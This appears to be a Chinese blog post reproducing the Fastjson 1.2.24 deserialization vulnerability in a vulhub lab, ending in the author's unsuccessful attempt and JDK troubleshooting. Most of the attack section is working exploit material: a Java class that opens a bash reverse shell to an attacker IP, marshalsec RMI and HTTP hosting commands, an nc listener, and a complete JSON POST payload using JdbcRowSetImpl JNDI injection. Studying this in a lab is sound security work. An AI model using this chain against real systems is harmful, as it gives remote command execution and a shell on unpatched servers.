【vulhub漏洞复现】Fastjson 1.2.24反序列化漏洞
创始人
2024-05-29 17:09:40
0

一、漏洞详情

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,也可以将 JSON 字符串转换为 Java 对象。

漏洞成因:
目标网站在解析 json 时,未对 json 内容进行验证,直接将 json 解析成 java 对象并执行,攻击者构造对应的 payload ,让系统执行,就能达到代码执行,甚至命令执行的目的。

二、复现过程

  1. 搭建docker环境

docker-compose up -d

bp抓个包,GET改成POST,添加Content-Type字段为application/json,再添加请求参数,可以发现name返回值已经改成了Lili

如果他对于java对象也有回应,那fastjson漏洞不就在眼前了~

  1. 反弹shell

在vulhub下的fastjson 1.2.24文件夹下新建TouchFile.java文件,内容为:(注意修改为自己的攻击机ip)

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.239.128/2333 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}

编译java文件

把编译好的class文件传到外网系统中(这里我传到kali服务器中),并在class文件所在的目录,Python起一个http服务

python -m SimpleHTTPServer 4444

使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类TouchFile.class

mvn安装参考教程

git clone https://github.com/mbechler/marshalsec (安装marshalsec)
source /etc/profile
cd marshalsec/
mvn clean package -DskipTests

编译成功

进入target目录,可以查看到marshalsec-0.0.3-SNAPSHOT-all.jar

开启RMI服务(marshalsec-master/target 目录下 )

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.239.128:4444/#TouchFile" 9999

另起一个终端开启监听(nc -lvnp 2333)

nc -lvp 2333

在192.168.239.128:8090处用bp抓包,构造如下POST请求包

POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 167
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.239.128:9999/TouchFile","autoCommit":true}
}

发送,这俩都有反应

按道理来说,应该监听的2333端口也反弹shell了,但我这边一点反应没有,不应该啊!

附一张别人成功的图= =

https://blog.csdn.net/m0_54899775/article/details/122530463

三、总结

今天好像诸事不顺,复现两个漏洞全都卡半路了。

个人觉得上面复现失败可能是因为java 和javac的版本不一致,尝试了几个网上的方法都失败了(环境问题真的是头大,搞一天了),打算快照重开了。

另外发现kali自带的bp在jdk17版本以上貌似用不了,于是乎我又双叒叕下载了jdk1.8,结果也不行,最后下回了jdk11,才能正常打开bp😅

别的没学到,linux命令倒是学了一堆😅

可以切换jdk版本的:

update-alternatives --config java

kali更新为java17的原因找到了(默认是11),因为kali没有javac,所以我在上面编译那个java文件的时候,去执行了 apt install default-jdk 这条命令,而它!就是罪魁祸首!

还有切换javac的命令:

update-alternatives --config javac

虽然java和javac版本一致了,但是2333端口还是出不来ovo

相关内容

热门资讯

保存时出现了1个错误,导致这篇... 当保存文章时出现错误时,可以通过以下步骤解决问题:查看错误信息:查看错误提示信息可以帮助我们了解具体...
汇川伺服电机位置控制模式参数配... 1. 基本控制参数设置 1)设置位置控制模式   2)绝对值位置线性模...
不能访问光猫的的管理页面 光猫是现代家庭宽带网络的重要组成部分,它可以提供高速稳定的网络连接。但是,有时候我们会遇到不能访问光...
表格中数据未显示 当表格中的数据未显示时,可能是由于以下几个原因导致的:HTML代码问题:检查表格的HTML代码是否正...
本地主机上的图像未显示 问题描述:在本地主机上显示图像时,图像未能正常显示。解决方法:以下是一些可能的解决方法,具体取决于问...
表格列调整大小出现问题 问题描述:表格列调整大小出现问题,无法正常调整列宽。解决方法:检查表格的布局方式是否正确。确保表格使...
不一致的条件格式 要解决不一致的条件格式问题,可以按照以下步骤进行:确定条件格式的规则:首先,需要明确条件格式的规则是...
Android|无法访问或保存... 这个问题可能是由于权限设置不正确导致的。您需要在应用程序清单文件中添加以下代码来请求适当的权限:此外...
【NI Multisim 14...   目录 序言 一、工具栏 🍊1.“标准”工具栏 🍊 2.视图工具...
银河麒麟V10SP1高级服务器... 银河麒麟高级服务器操作系统简介: 银河麒麟高级服务器操作系统V10是针对企业级关键业务...